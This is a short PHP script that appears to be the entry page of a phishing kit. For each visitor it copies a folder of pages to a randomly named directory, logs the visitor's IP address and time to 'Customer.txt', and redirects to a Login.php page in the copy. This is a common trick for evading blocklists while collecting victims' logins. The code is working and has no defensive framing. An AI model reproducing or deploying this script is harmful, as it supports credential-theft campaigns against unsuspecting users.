<?php
$random = rand(0, 1000000);
$dst = (string) $random;
$src = "OP";
$dstPath = __DIR__ . '/' . $dst;

exec("cp -r $src $dstPath");

// Log visitor's IP and timestamp
$ip = getenv("REMOTE_ADDR");
$logEntry = $ip . " |> " . gmdate("Y-n-d") . " ----> " . gmdate("H:i:s") . "\n";
file_put_contents("Customer.txt", $logEntry, FILE_APPEND | LOCK_EX);

// Redirect to the new location
header("Location: $dst/Login.php");
exit;
?>
